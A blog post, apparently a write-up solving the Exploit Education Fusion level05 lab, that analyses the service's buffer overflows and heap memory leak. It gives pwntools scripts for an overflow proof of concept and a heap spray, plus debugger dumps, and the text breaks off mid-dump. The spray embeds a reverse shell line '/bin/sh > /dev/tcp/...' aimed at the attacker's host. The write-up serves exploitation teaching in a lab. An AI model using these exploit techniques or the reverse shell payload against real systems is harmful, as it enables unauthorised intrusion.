{"id":1476,"date":"2021-05-16T21:27:25","date_gmt":"2021-05-17T01:27:25","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1476"},"modified":"2023-07-14T07:03:52","modified_gmt":"2023-07-14T11:03:52","slug":"exploit-education-fusion-level-05-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-05-solution\/","title":{"rendered":"Exploit Education | Fusion | Level 05 Solution"},"content":{"rendered":"<p>Even more information leaks and stack overwrites. This time with random libraries \/ evented programming styles :><\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/fusion\/level05\/\">http:\/\/exploit.education\/fusion\/level05\/<\/a><\/p>\n<h1>Source Code Analysis<\/h1>\n<p>At a high level, this program allows you to connect to the service and register users into a &#8220;database&#8221; (it&#8217;s just a global array variable). It also lets you send the &#8220;database&#8221; to a remote host, check names to see if they&#8217;ve been registered, and see which registered user is &#8220;up&#8221; on a port that you specify.<\/p>\n<h4 style=\"font-family: Courier New;\">childtask()<\/h4>\n<p>This function simply handles each of the program&#8217;s available commands:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nif (strncmp(buffer, &quot;addreg &quot;, 7) == 0) {\r\n    taskcreate(addreg, strdup(buffer + 7), STACK);\r\n    continue;\r\n}\r\n\r\nif (strncmp(buffer, &quot;senddb &quot;, 7) == 0) {\r\n    taskcreate(senddb, strdup(buffer + 7), STACK);\r\n    continue;\r\n}\r\n\r\nif (strncmp(buffer, &quot;checkname &quot;, 10) == 0) {\r\n    struct isuparg *isa = calloc(sizeof(struct isuparg), 1);\r\n    isa-&gt;fd = cfd;\r\n    isa-&gt;string = strdup(buffer + 10);\r\n    taskcreate(checkname, isa, STACK);\r\n    continue;\r\n}\r\n\r\nif (strncmp(buffer, &quot;quit&quot;, 4) == 0) {\r\n    break;\r\n}\r\n\r\nif (strncmp(buffer, &quot;isup &quot;, 5) == 0) {\r\n    struct isuparg *isa = calloc(sizeof(struct isuparg), 1);\r\n    isa-&gt;fd = cfd;\r\n    isa-&gt;string = strdup(buffer + 5);\r\n    taskcreate(isup, isa, STACK);\r\n}\r\n<\/pre>\n<h4 style=\"font-family: Courier New;\">addreg()<\/h4>\n<p>This function lets you register users into a &#8220;database&#8221; by supplying the command, name, flags (as an integer), and IPv4 address.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nstatic void addreg(void *arg) {\r\n    char *name, *sflags, *ipv4, *p;\r\n    int h, flags;\r\n    char *line = (char *)(arg);\r\n\r\n    name = line;\r\n    p = strchr(line, &#039; &#039;);\r\n    if (! p) goto bail;\r\n    *p++ = 0;\r\n    sflags = p;\r\n    p = strchr(p, &#039; &#039;);\r\n    if (! p) goto bail;\r\n    *p++ = 0;\r\n    ipv4 = p;\r\n\r\n    flags = atoi(sflags);\r\n    if (flags &amp; ~0xe0) goto bail;\r\n\r\n    h = hash(name, strlen(name), REGDB-1);\r\n    registrations&#x5B;h].flags = flags;\r\n    registrations&#x5B;h].ipv4 = inet_addr(ipv4);\r\n\r\n    printf(&quot;registration added successfully\\n&quot;);\r\n\r\nbail:\r\n    free(line);\r\n}\r\n<\/pre>\n<p>The program performs a check on the &#8220;flag&#8221; integer you supply. It quits and nothing happens if you don&#8217;t supply one of the following values: 0, 32, 64, 96, 128, 160, 192, 224. There doesn&#8217;t seem to be any reason for this and the flag integer doesn&#8217;t seem to be used in any meaningful way.<\/p>\n<p>The name supplied is &#8220;hashed&#8221; with their own custom 7-bit hashing algorithm. That hash is then used as the index for where to save the flags and IPv4 address in the <code>registrations[]<\/code> array.<\/p>\n<p>An example of using the <code>addreg<\/code> command:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ nc fusion 20005\r\naddreg Andrew 32 10.0.1.4\r\n<\/pre>\n<h4 style=\"font-family: Courier New;\">senddb()<\/h4>\n<p>This function has an overflow vulnerability that I will later realize isn&#8217;t necessary for exploiting this program. So feel free to skip this section entirely. However, I&#8217;ll leave it in for shits &#038; giggles&#8230;<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nstatic void senddb(void *arg) {\r\n    unsigned char buffer&#x5B;512], *p;\r\n    char *host, *l;\r\n    char *line = (char *)(arg);\r\n    int port;\r\n    int fd;\r\n    int i;\r\n    int sz;\r\n\r\n    p = buffer;\r\n    sz = sizeof(buffer);\r\n    host = line;\r\n    l = strchr(line, &#039; &#039;);\r\n    if (! l) goto bail;\r\n    *l++ = 0;\r\n    port = atoi(l);\r\n    if (port == 0) goto bail;\r\n\r\n    printf(&quot;sending db\\n&quot;);\r\n\r\n    if ((fd = netdial(UDP, host, port)) &lt; 0) goto bail;\r\n\r\n    for (sz = 0, p = buffer, i = 0; i &lt; REGDB; i++) {\r\n        if (registrations&#x5B;i].flags | registrations&#x5B;i].ipv4) {\r\n            memcpy(p, &amp;registrations&#x5B;i], sizeof(struct registrations));\r\n            p += sizeof(struct registrations);\r\n            sz += sizeof(struct registrations);\r\n        }\r\n    }\r\nbail:\r\n    fdwrite(fd, buffer, sz);\r\n    close(fd);\r\n    free(line);\r\n}\r\n<\/pre>\n<p>The for loop will copy the data from each element of the <code>registrations[]<\/code> array into the <code>buffer[512]<\/code> array. The <code>registrations[]<\/code> array is capable of holding up to 128 elements of the <code>registrations<\/code> struct, which was defined globally earlier:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nstruct registrations {\r\n    short int flags;\r\n    in_addr_t ipv4;\r\n} __attribute__((packed));\r\n\r\n#define REGDB (128)\r\nstruct registrations registrations&#x5B;REGDB];\r\n<\/pre>\n<p>Since the struct was given the <code>packed<\/code> attribute, it will only use as much space as needed, which happens to be 6 bytes. Two bytes for the short int and 4 for the in_addr_t. A little math will tell us that the filling the <code>registrations[]<\/code> array will take 768 bytes (6 * 128). That&#8217;s 256 bytes more than the <code>buffer[512]<\/code> array.<\/p>\n<p>I wrote a short script as a proof of concept:<\/p>\n<pre class=\"brush: python; light: false; title: bof.py; notranslate\" title=\"bof.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\nimport time\r\nimport string\r\nimport random\r\n\r\ndef random_string(size):\r\n    return &#039;&#039;.join(random.choice(string.ascii_letters) for x in range(size))\r\n\r\nio = remote(&quot;fusion&quot;, 20005)\r\nlocal_ip = &quot;10.0.1.4&quot;\r\nlocal_port = 4444\r\n\r\nlog.info(&quot;Sending &#039;addreg&#039; commands&quot;)\r\nfor i in range(170):\r\n    io.sendline(f&quot;addreg {random_string(32)} 32 17.17.17.17&quot;)\r\n    time.sleep(0.1)\r\n\r\nlog.info(&quot;Sending &#039;senddb&#039; command&quot;)\r\nsenddb = f&quot;senddb {local_ip} {local_port}\\n&quot;\r\nio.send(senddb)\r\nio.close()\r\n<\/pre>\n<p>Running this script from the attacking VM takes about 20 seconds because of the 0.1 second sleep between each command. Without this, I noticed that a bunch of the commands would be bunched into a single packet and the buffer wasn&#8217;t being overflown.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ .\/bof.py \r\n&#x5B;+] Opening connection to fusion on port 20005: Done\r\n&#x5B;*] Sending &#039;addreg&#039; commands\r\n&#x5B;*] Sending &#039;senddb&#039; command\r\n&#x5B;*] Closed connection to fusion port 20005\r\n<\/pre>\n<p>On the Fusion VM, we can see the segfault in the kernel messages:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion:~$ dmesg\r\n...\r\n&#x5B; 2446.051965] level05&#x5B;1878]: segfault at 20110d ip b764d90e sp b8ff695c error 4 in libc-2.13.so&#x5B;b75db000+176000]\r\n<\/pre>\n<h5>Hash<\/h5>\n<p>I need to have a list of strings I can use for the &#8220;name&#8221; field and their hashed value. I&#8217;ll need to be able to place data in certain places of the overflown buffer. In order to do that, I&#8217;ll need to know which index in the <code>registrations[]<\/code> array I have to work with. I re-wrote the hashing algorithm in a Python script and created a loop to hash a bunch of 2-character strings and print the results.<\/p>\n<pre class=\"brush: python; light: false; title: hash.py; notranslate\" title=\"hash.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport string\r\nimport sys\r\n\r\n\r\ndef hash(string):\r\n    mask = 127\r\n    h = 0xfee13117\r\n    max_int = 0xffffffff\r\n\r\n    for i in range(len(string)):\r\n        h ^= ord(string&#x5B;i])\r\n        h += (h &lt;&lt; 11)\r\n        h &amp;= max_int\r\n        h ^= (h &gt;&gt; 7)\r\n        h -= ord(string&#x5B;i])\r\n\r\n    h += (h &lt;&lt; 3)\r\n    h &amp;= max_int\r\n    h ^= (h &gt;&gt; 10)\r\n    h += (h &lt;&lt; 15)\r\n    h &amp;= max_int\r\n    h -= (h &gt;&gt; 17)\r\n\r\n    return (h &amp; mask)\r\n\r\n\r\nif __name__ == &quot;__main__&quot;:\r\n    all_chars = string.ascii_letters + string.digits #+ string.punctuation\r\n    for i in range(len(all_chars)):\r\n        for j in range(len(all_chars)):\r\n            string = all_chars&#x5B;i] + all_chars&#x5B;j]\r\n            h = hash(string, len(string))\r\n            print(f&quot;{h}\\t{string}&quot;)\r\n<\/pre>\n<h4 style=\"font-family: Courier New;\">checkname()<\/h4>\n<p>There exists another buffer overflow in the <code>get_and_hash()<\/code> function, which is called by <code>checkname()<\/code>.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nint get_and_hash(int maxsz, char *string, char separator) {\r\n    char name&#x5B;32];\r\n    int i;\r\n\r\n    if (maxsz &gt; 32) return 0;\r\n    for (i = 0; i &lt; maxsz, string&#x5B;i]; i++) {\r\n        if (string&#x5B;i] == separator) break;\r\n        name&#x5B;i] = string&#x5B;i];\r\n    }\r\n\r\n    return hash(name, strlen(name), 0x7f);\r\n}\r\n\r\nstruct isuparg {\r\n    int fd;\r\n    char *string;\r\n};\r\n\r\nstatic void checkname(void *arg) {\r\n    struct isuparg *isa = (struct isuparg *)(arg);\r\n    int h;\r\n\r\n    h = get_and_hash(32, isa-&gt;string, &#039;@&#039;);\r\n    fdprintf(isa-&gt;fd, &quot;%s is %sindexed already\\n&quot;, isa-&gt;string, registrations&#x5B;h].ipv4 ? &quot;&quot; : &quot;not &quot;);\r\n}\r\n<\/pre>\n<p>The <code>checkname()<\/code> function takes the string the user supplied after the &#8220;checkname &#8221; command and sends it to the <code>get_and_hash()<\/code> function. It looks like the intention is to loop through each character of that string, save it to the <code>name[32]<\/code> variable, and stop when either the supplied string ends or it reaches the maximum size of 32.<\/p>\n<p>Except, that&#8217;s not how this works. Admittedly, it took me a long time to spot this myself as I&#8217;m not a C developer. <del datetime=\"2022-08-29T12:28:22+00:00\">The comma operator in the for loop says to keep looping whle <code>i<\/code> is less than <code>maxsz<\/code> OR while <code>string[i]<\/code> exists.<\/del> The comma operator in the for loop returns only the last value of the expression, so it will ignore <code>maxsz<\/code> and keep looping while <code>string[i]<\/code> exists.<\/p>\n<p>We can test this out by sending the &#8220;checkname&#8221; command followed by a string that we know will overflow the buffer and overwrite the saved EIP pointer.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ python3 -c &#039;print(&quot;checkname &quot; + &quot;A&quot;*50)&#039; | nc fusion 20005\r\n** welcome to level05 **\r\n<\/pre>\n<p>The <code>dmesg<\/code> command on the Fusion VM will show that we have full control over the EIP register.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion ~ $ dmesg \r\n&#x5B;10664.771069] level05&#x5B;3230]: segfault at 41414141 ip 41414141 sp b929ebb0 error 14\r\n<\/pre>\n<p>This, alone, will not do much for us as everything is randomized. Even the addresses of the code is random as it&#8217;s a Position Independent Executable. But we&#8217;ll see later how this can be used.<\/p>\n<p>Note that the <code>get_and_hash()<\/code> function does NOT null-terminate the <code>name[]<\/code> string. Because data is already on the stack, the name passed to the <code>hash()<\/code> function is rarely the same as what the user submitted. So usually, you&#8217;ll get the message that &#8220;<name> is not indexed already&#8221; even if it IS indexed already.<\/p>\n<h4 style=\"font-family: Courier New;\">isup()<\/h4>\n<p>The &#8220;isup&#8221; command takes 2 arguments (for some reason), almost anything is possible for the first and a valid port number for the second. It simply goes through all the registered &#8220;names&#8221; in its database and attempts to connect to them via UDP on the port that was specified. If the host is listening on the specified port, then the server sends it part of its registration info.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nstatic void isup(void *arg) {\r\n    unsigned char buffer&#x5B;512], *p;\r\n    char *host, *l;\r\n    struct isuparg *isa = (struct isuparg *)(arg);\r\n    int port;\r\n    int fd;\r\n    int i;\r\n    int sz;\r\n\r\n    \/\/ skip over first arg, get port\r\n    l = strchr(isa-&gt;string, &#039; &#039;);\r\n    if (! l) return;\r\n    *l++ = 0;\r\n\r\n    port = atoi(l);\r\n    host = malloc(64);\r\n\r\n    for (i = 0; i &lt; 128; i++) {\r\n        p = (unsigned char *)(&amp; registrations&#x5B;i]);\r\n        if (! registrations&#x5B;i].ipv4) continue;\r\n\r\n        sprintf(host, &quot;%d.%d.%d.%d&quot;,\r\n            (registrations&#x5B;i].ipv4 &gt;&gt; 0) &amp; 0xff,\r\n            (registrations&#x5B;i].ipv4 &gt;&gt; 8) &amp; 0xff,\r\n            (registrations&#x5B;i].ipv4 &gt;&gt; 16) &amp; 0xff,\r\n            (registrations&#x5B;i].ipv4 &gt;&gt; 24) &amp; 0xff);\r\n\r\n        if ((fd = netdial(UDP, host, port)) &lt; 0) {\r\n            continue;\r\n        }\r\n\r\n        buffer&#x5B;0] = 0xc0;\r\n        memcpy(buffer + 1, p, sizeof(struct registrations));\r\n        buffer&#x5B;5] = buffer&#x5B;6] = buffer&#x5B;7] = 0;\r\n\r\n        fdwrite(fd, buffer, 8);\r\n        close(fd);\r\n    }\r\n\r\n    free(host);\r\n}\r\n<\/pre>\n<p>Something important to note is that before the call to <code>isup()<\/code> (take a look back at the <code>childtask()<\/code> function), the buffer variable that contains the user-supplied data is put through <code>strdup()<\/code>, which will allocate space for it on the heap. However, the pointer that&#8217;s returned from that never get&#8217;s freed.<\/p>\n<h1>Exploitation<\/h1>\n<h2>Heap Spraying<\/h2>\n<p>Because memory in the heap is not properly freed after being allocated with the &#8220;isup&#8221; command, we can fill the heap with our own data. We will then overwrite the <code>isa->fd<\/code> pointer in the <code>checkname()<\/code> function and try to get it to point to somewhere in the heap (more on that later). We&#8217;ll need to include a string that can get us a reverse shell to pass as an argument to <code>system()<\/code> as well as the value for the file descriptor, which happens to always be 0x4. That allows the program to send data back to us. Since this is filling a 32 bit integer space, there will be some null bytes involved, which means it&#8217;ll need to be at the end of our data.<\/p>\n<p>We&#8217;ll need to get an idea for where the heap base address may be and where it could possibly end. The more data we fill the heap with, the better of a chance we&#8217;ll have of finding a valid address later. However, we don&#8217;t need to fill it up completely, so we&#8217;ll try to be smart about it.<\/p>\n<p>Some of the processes had heap space starting with 0x0 instead of 0xb. Our &#8220;level05&#8221; process (and all the other levels) always start with 0xb:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot ~ # cat \/proc\/$(pidof level05)\/maps \r\nb7648000-b768a000 rw-p 00000000 00:00 0 \r\nb768a000-b7800000 r-xp 00000000 07:00 92669      \/lib\/i386-linux-gnu\/libc-2.13.so\r\nb7800000-b7802000 r--p 00176000 07:00 92669      \/lib\/i386-linux-gnu\/libc-2.13.so\r\nb7802000-b7803000 rw-p 00178000 07:00 92669      \/lib\/i386-linux-gnu\/libc-2.13.so\r\nb7803000-b7806000 rw-p 00000000 00:00 0 \r\nb7810000-b7812000 rw-p 00000000 00:00 0 \r\nb7812000-b7813000 r-xp 00000000 00:00 0          &#x5B;vdso]\r\nb7813000-b7831000 r-xp 00000000 07:00 92553      \/lib\/i386-linux-gnu\/ld-2.13.so\r\nb7831000-b7832000 r--p 0001d000 07:00 92553      \/lib\/i386-linux-gnu\/ld-2.13.so\r\nb7832000-b7833000 rw-p 0001e000 07:00 92553      \/lib\/i386-linux-gnu\/ld-2.13.so\r\nb7833000-b7839000 r-xp 00000000 07:00 75280      \/opt\/fusion\/bin\/level05\r\nb7839000-b783a000 rw-p 00006000 07:00 75280      \/opt\/fusion\/bin\/level05\r\nb783a000-b783d000 rw-p 00000000 00:00 0 \r\nb9270000-b9291000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nbfb7d000-bfb9e000 rw-p 00000000 00:00 0          &#x5B;stack]\r\n<\/pre>\n<p>Let&#8217;s look at the heap space addresses for the various processes on the Fusion VM:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot ~ # cat \/proc\/*\/maps | grep heap | grep ^b | sort\r\nb7815000-b7836000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7b7c000-b7b9d000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7d46000-b7d67000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7d46000-b7d67000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7d46000-b7d67000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7d67000-b7d88000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7d67000-b7d88000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7d67000-b7da7000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7e4c000-b7e6d000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb7e90000-b7ed7000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb82b7000-b82d8000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb8336000-b8357000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb837f000-b83a0000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb8ae1000-b8b44000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb8e0b000-b8e46000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb8e0b000-b8e46000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb8e32000-b8e53000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb9270000-b9291000 rw-p 00000000 00:00 0          &#x5B;heap]\r\nb9647000-b9668000 rw-p 00000000 00:00 0          &#x5B;heap]\r\n<\/pre>\n<p>We can see that it generally ranges between 0xb7815000 and 0xb9668000 (lowest address to highest address), the difference of which is 0x1e53000. That&#8217;s 31,797,248 in decimal. The <code>childtask()<\/code> function stores each command into a buffer with a maximum size of 512 bytes. In addition, you&#8217;ll see later that another 16 bytes of heap space is taken up to store the file descriptor each time. This means we&#8217;d need to send the &#8220;isup&#8221; command (the one we&#8217;re using for heap spraying) 60,222 times (31,797,248 \u00f7 (512 + 16)). Let&#8217;s take a look at what the heap looks like when we send data. FIrst, I&#8217;ll attach to the &#8220;level05&#8221; process from the Fusion VM using <code>gdbserver<\/code>:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nroot ~ # gdbserver --attach :1234 $(pidof level05)\r\nAttached; pid = 4819\r\nListening on port 1234\r\n<\/pre>\n<p>Then I&#8217;ll connect to it from GDB on my attacking VM (note that I copied the level05 binary to my attacking machine so that I could have GDB read the symbols):<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ gdb\r\nGEF for linux ready, type `gef&#039; to start, `gef config&#039; to configure\r\n92 commands loaded for GDB 9.2 using Python engine 3.8\r\n\r\ngef\u27a4  file level05\r\nReading symbols from level05...\r\n\r\ngef\u27a4  target remote 10.0.1.5:1234\r\nRemote debugging using 10.0.1.5:1234\r\n...\r\n\r\ngef\u27a4  c\r\nContinuing.\r\n<\/pre>\n<p>Now I&#8217;ll send some data:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ echo &quot;isup $(pwn cyclic 512)&quot; | nc fusion 20005\r\n** welcome to level05 **\r\n<\/pre>\n<p>And check the heap:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n^C\r\nProgram received signal SIGINT, Interrupt.\r\n...\r\ngef\u27a4  heap chunks\r\nChunk(addr=0xb91fd008, size=0x108, flags=PREV_INUSE)\r\n    &#x5B;0xb91fd008     08 b0 5c b7 10 d1 1f b9 b0 54 20 b9 60 da 20 b9    ..\\......T .`. .]\r\nChunk(addr=0xb91fd110, size=0x83a0, flags=PREV_INUSE)\r\n    &#x5B;0xb91fd110     66 64 74 61 73 6b 00 00 00 00 00 00 00 00 00 00    fdtask..........]\r\nChunk(addr=0xb92054b0, size=0x83a0, flags=PREV_INUSE)\r\n    &#x5B;0xb92054b0     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]\r\nChunk(addr=0xb920d850, size=0x10, flags=PREV_INUSE)\r\n    &#x5B;0xb920d850     04 00 00 00 60 d8 20 b9 00 00 00 00 01 02 00 00    ....`. .........]\r\nChunk(addr=0xb920d860, size=0x200, flags=PREV_INUSE)\r\n    &#x5B;0xb920d860     61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61    aaaabaaacaaadaaa]\r\nChunk(addr=0xb920da60, size=0x105a8, flags=PREV_INUSE)  \u2190  top chunk\r\n\r\ngef\u27a4  x\/128wx 0xb920d860\r\n0xb920d860:\t0x61616161\t0x61616162\t0x61616163\t0x61616164\r\n0xb920d870:\t0x61616165\t0x61616166\t0x61616167\t0x61616168\r\n0xb920d880:\t0x61616169\t0x6161616a\t0x6161616b\t0x6161616c\r\n0xb920d890:\t0x6161616d\t0x6161616e\t0x6161616f\t0x61616170\r\n0xb920d8a0:\t0x61616171\t0x61616172\t0x61616173\t0x61616174\r\n0xb920d8b0:\t0x61616175\t0x61616176\t0x61616177\t0x61616178\r\n0xb920d8c0:\t0x61616179\t0x6261617a\t0x62616162\t0x62616163\r\n0xb920d8d0:\t0x62616164\t0x62616165\t0x62616166\t0x62616167\r\n0xb920d8e0:\t0x62616168\t0x62616169\t0x6261616a\t0x6261616b\r\n0xb920d8f0:\t0x6261616c\t0x6261616d\t0x6261616e\t0x6261616f\r\n0xb920d900:\t0x62616170\t0x62616171\t0x62616172\t0x62616173\r\n0xb920d910:\t0x62616174\t0x62616175\t0x62616176\t0x62616177\r\n0xb920d920:\t0x62616178\t0x62616179\t0x6361617a\t0x63616162\r\n0xb920d930:\t0x63616163\t0x63616164\t0x63616165\t0x63616166\r\n0xb920d940:\t0x63616167\t0x63616168\t0x63616169\t0x6361616a\r\n0xb920d950:\t0x6361616b\t0x6361616c\t0x6361616d\t0x6361616e\r\n0xb920d960:\t0x6361616f\t0x63616170\t0x63616171\t0x63616172\r\n0xb920d970:\t0x63616173\t0x63616174\t0x63616175\t0x63616176\r\n0xb920d980:\t0x63616177\t0x63616178\t0x63616179\t0x6461617a\r\n0xb920d990:\t0x64616162\t0x64616163\t0x64616164\t0x64616165\r\n0xb920d9a0:\t0x64616166\t0x64616167\t0x64616168\t0x64616169\r\n0xb920d9b0:\t0x6461616a\t0x6461616b\t0x6461616c\t0x6461616d\r\n0xb920d9c0:\t0x6461616e\t0x6461616f\t0x64616170\t0x64616171\r\n0xb920d9d0:\t0x64616172\t0x64616173\t0x64616174\t0x64616175\r\n0xb920d9e0:\t0x64616176\t0x64616177\t0x64616178\t0x64616179\r\n0xb920d9f0:\t0x6561617a\t0x65616162\t0x65616163\t0x65616164\r\n0xb920da00:\t0x65616165\t0x65616166\t0x65616167\t0x65616168\r\n0xb920da10:\t0x65616169\t0x6561616a\t0x6561616b\t0x6561616c\r\n0xb920da20:\t0x6561616d\t0x6561616e\t0x6561616f\t0x65616170\r\n0xb920da30:\t0x65616171\t0x65616172\t0x65616173\t0x65616174\r\n0xb920da40:\t0x65616175\t0x65616176\t0x65616177\t0x65616178\r\n0xb920da50:\t0x65616179\t0x6661617a\t0x00616162\t0x000105a9\r\n<\/pre>\n<p>The last full word value here (without a space) is 0x6661617a. We&#8217;ll find the offset of that and add our 0x4 value afterward in the heap spray script:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ pwn cyclic -l 0x6661617a\r\n500\r\n<\/pre>\n<p>That means we can put 504 characters of padding (the 500 number does not include the 4 characters of the last full word value) in the buffer before our file descriptor value. Here&#8217;s a script I came up with for spraying the heap:<\/p>\n<pre class=\"brush: python; light: false; title: spray.py; notranslate\" title=\"spray.py\">\r\n#!\/usr\/bin\/env python3\r\n\r\nfrom pwn import *\r\nfrom time import sleep\r\n\r\n\r\nbuff_sz = 504\r\ncommand  = b&quot;isup &quot;\r\ncontent  = b&quot;ABC &quot;\r\ncontent += b&quot;\/bin\/sh &gt; \/dev\/tcp\/10.0.1.4\/1337 0&gt;&amp;1 2&gt;&amp;1; &quot; # 44 bytes\r\ncontent += b&quot;A&quot; * (buff_sz - len(content))\r\ncontent += pack(4)\r\n\r\nio = remote(&quot;fusion&quot;, 20005)\r\nlog.info(io.recvline())\r\n\r\nmax_spray = 60222\r\nwith log.progress(&#039;Spraying&#039;) as p:\r\n    for i in range(max_spray):\r\n        io.send(command + content)\r\n        p.status(f&quot;{(i\/max_spray):.2%}&quot;)\r\n        sleep(0.005)\r\n<\/pre>\n<p>A couple of notes:<\/p>\n<ul>\n<li>The &#8220;content&#8221; variable starts with &#8220;<code>ABC <\/code>&#8221; because the first space in our content will get turned into a null byte. We can&#8217;t have that happen in the middle of our reverse shell string. Also I needed a unique value, like &#8220;ABC&#8221;, later on when I&#8217;m checking the returned data.<\/li>\n<li>I need to add that small sleep value because without it, some of the requests get lumped together into a single packet. If that happens, only the first request is valid and the rest are ignored.<\/li>\n<\/ul>\n<p>Running the script takes about 8 minutes:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/level05 $ time .\/3_spray.py \r\n&#x5B;+] Opening connection to fusion on port 20005: Done\r\n&#x5B;*] ** welcome to level05 **\r\n&#x5B;+] Spraying: Done\r\n \r\nreal    8m17.777s\r\nuser    0m21.451s\r\nsys     1m28.634s\r\n<\/pre>\n<h2>Leaking the File Descriptor<\/h2>\n<p>Now that we&#8217;ve got the heap filled with data, we can look at the addresses there and try to find a pattern to make our address guessing a bit smarter:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef\u27a4  heap chunks \r\nChunk(addr=0xb8759008, size=0x108, flags=PREV_INUSE)\r\n    &#x5B;0xb8759008     08 b0 60 b7 10 91 75 b8 b0 14 76 b8 70 9c 76 b8    ..`...u...v.p.v.]\r\nChunk(addr=0xb8759110, size=0x83a0, flags=PREV_INUSE)\r\n    &#x5B;0xb8759110     66 64 74 61 73 6b 00 00 00 00 00 00 00 00 00 00    fdtask..........]\r\nChunk(addr=0xb87614b0, size=0x83a0, flags=PREV_INUSE)\r\n    &#x5B;0xb87614b0     30 64 7c b7 30 64 7c b7 00 00 00 00 00 00 00 00    0d|.0d|.........]\r\nChunk(addr=0xb8769850, size=0x10, flags=)\r\n    &#x5B;0xb8769850     04 00 00 00 60 98 76 b8 00 00 00 00 01 02 00 00    ....`.v.........]\r\nChunk(addr=0xb8769860, size=0x200, flags=PREV_INUSE)\r\n    &#x5B;0xb8769860     41 41 41 00 2f 62 69 6e 2f 73 68 20 3e 20 2f 64    AAA.\/bin\/sh &gt; \/d]\r\nChunk(addr=0xb8769a60, size=0x10, flags=PREV_INUSE)\r\n    &#x5B;0xb8769a60     04 00 00 00 70 9a 76 b8 00 00 00 00 01 02 00 00    ....p.v.........]\r\nChunk(addr=0xb8769a70, size=0x200, flags=PREV_INUSE)\r\n    &#x5B;0xb8769a70     41 41 41 00 2f 62 69 6e 2f 73 68 20 3e 20 2f 64    AAA.\/bin\/sh &gt; \/d]\r\n...\r\n<\/pre>\n<p>We can see that the address of each chunk is 16-byte aligned and ends with 0.<br \/>\nLet&#8217;s look at the contents of a single chunk:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\ngef\u27a4  x\/128wx 0xb8769860\r\n0xb8769860:\t0x00414141\t0x6e69622f\t0x2068732f\t0x642f203e\r\n0xb8769870:\t0x742f7665\t0x312f7063\t0x2e302e30\t0x2f342e31\r\n0xb8769880:\t0x37333331\t0x263e3020\t0x3e322031\t0x203b3126\r\n0xb8769890:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87698a0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87698b0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87698c0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87698d0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87698e0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87698f0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769900:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769910:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769920:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769930:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769940:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769950:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769960:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769970:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769980:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb8769990:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87699a0:\t0x41414141\t0x41414141\t0x41414141\t0x41414141\r\n0xb87699b0:\t0x41414141\t0x41414141\t0